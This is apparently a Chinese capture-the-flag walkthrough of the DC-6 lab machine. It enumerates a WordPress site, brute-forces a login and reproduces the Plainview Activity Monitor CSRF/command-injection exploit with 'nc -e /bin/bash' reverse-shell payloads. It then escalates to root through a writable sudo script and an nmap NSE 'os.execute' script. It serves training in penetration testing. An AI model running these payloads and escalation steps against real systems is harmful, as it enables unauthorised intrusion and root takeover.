DC-6靶場
主機掃描
nmap -sP 192.168.56.0/24
Nmap scan report for wordy (192.168.56.107)
Host is up (0.00016s latency).
MAC Address: 08:00:27:50:FB:08 (Oracle VirtualBox virtual NIC)
靶機ip:192.168.56.107
埠掃描
nmap -sV 192.168.56.107
開了22,80埠
訪問web頁面,發現跳轉到wordy,那就做個域名解析
vim /etc/hosts
192.168.56.107 wordy
目錄掃描
dirb http://192.168.56.107/
掃到了wp-admin目錄
wpscan工具利用
網站是wordpress,那我們用wpscan掃描就行了
wpscan --url http://wordy
這樣掃給的資訊不夠,需要用到api-token
[!] No WPScan API Token given, as a result vulnerability data has not been output.
登入wpsan官網,獲取一個token
wpscan --url http://wordy --api-token 4GXx8c2FQJQdnJxTY7raHIP1NkqqDZacGoT27nss7sA --enumerate u
列舉一下使用者,得到五個使用者
admin
graham
mark
sarah
jens
其實,我用的是cmseek掃描的,也是掃出來這五個使用者
cmseek -u 192.168.56.107
使用者名稱有了,繼續搞密碼
一開始我是直接用kali裡面的rockyou.txt爆破的,沒爆破出來(密碼太多了)
官網是有一個提示的
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ;-)
那這個passwords.txt就是密碼了
這裡我直接用wpscan進行爆破了 -U 指定使用者名稱 -P 指定密碼
wpscan --url http://wordy -U users.txt -P passwords.txt
得到賬號密碼,Username: mark, Password: helpdesk01
登入web後臺
登入上去,發現也沒有寫php的地方,那就找一下外掛的漏洞
cp /usr/share/exploitdb/exploits/php/webapps/45274.html ci.html
內容
<!--
PoC:
-->
<html>
<!-- Wordpress Plainview Activity Monitor RCE
[+] Version: 20161228 and possibly prior
[+] Description: Combine OS Commanding and CSRF to get reverse shell
[+] Author: LydA(c)ric LEFEBVRE
[+] CVE-ID: CVE-2018-15877
[+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
[+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
-->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
<input type="hidden" name="lookup" value="Lookup" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
漏洞利用
這是一個csrf漏洞和命令注入,利用|
符號
history.pushState( )這是一個非常神奇的javascript方法,讓頁面無重新整理增添瀏覽器歷史記錄。
語法 history.pushState(state, title, url)
找到這個漏洞頁面
這個頁面的功能有兩個,上面按鈕是將ipv4轉換成長整形ip,下面的按鈕是進行解析ip
利用|
進行命令執行
那我們接著彈shell吧,
127.0.0.1| nc -e /bin/bash 192.168.56.101 1234
切換到home目錄,
進行mark的家
www-data@dc-6:/home/mark/stuff$ ls
ls
things-to-do.txt
www-data@dc-6:/home/mark/stuff$ cat t*
cat t*
Things to do:
- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement
發現,使用者graham - GSo7isUM1D4
提權
先不急,看看別的目錄
在jens的家目錄,發現一個指令碼
www-data@dc-6:/home/jens$ ls -al
ls -al
total 32
drwxr-xr-x 2 jens jens 4096 Mar 8 16:04 .
drwxr-xr-x 6 root root 4096 Apr 26 2019 ..
-rw------- 1 jens jens 5 Apr 26 2019 .bash_history
-rw-r--r-- 1 jens jens 220 Apr 24 2019 .bash_logout
-rw-r--r-- 1 jens jens 3526 Apr 24 2019 .bashrc
-rw-r--r-- 1 jens jens 675 Apr 24 2019 .profile
-rwxrwxr-x 1 jens devs 48 Mar 8 16:10 backups.sh
jens所有者和devs所屬組有rwx許可權
接著,切換到graham使用者
graham@dc-6:~$ id
uid=1001(graham) gid=1001(graham) groups=1001(graham),1005(devs)
graham@dc-6:~$ sudo -l
Matching Defaults entries for graham on dc-6:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User graham may run the following commands on dc-6:
(jens) NOPASSWD: /home/jens/backups.sh
發現graham使用者就是devs組的,並且可以不要密碼執行/home/jens/backups.sh
這個指令碼
嘗試提權到jens使用者
echo '/bin/bash'>>backups.sh
以jens的身份進行執行
sudo -u jens /home/jens/backups.sh
這樣就得到jens的shell
接著
jens@dc-6:~$ id
id
uid=1004(jens) gid=1004(jens) groups=1004(jens),1005(devs)
jens@dc-6:~$ sudo -l
sudo -l
Matching Defaults entries for jens on dc-6:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jens may run the following commands on dc-6:
(root) NOPASSWD: /usr/bin/nmap
jens使用者可以使用nmap,nmap進行提權
echo 'os.execute("/bin/bash")' > a.nse
sudo nmap --script=a.nse
提權成功,
總結
nmap 提權。使用
--script
引數執行提權指令碼學會wpsacn的基本使用方法
os.execute ([command])
這是lua中的一個函式,相當於執行系統命令a & b //先執行a再執行b,無論a是否執行成功(按位與) a && b //先執行a再執行b,只有a執行成功才會執行b(邏輯與) a || b //先執行a再執行b,只有a執行失敗才會執行b(邏輯或) a | b //將a的執行結果傳遞給b(管道符)
靶機涉及知識點:
暴力破解,csrf,命令執行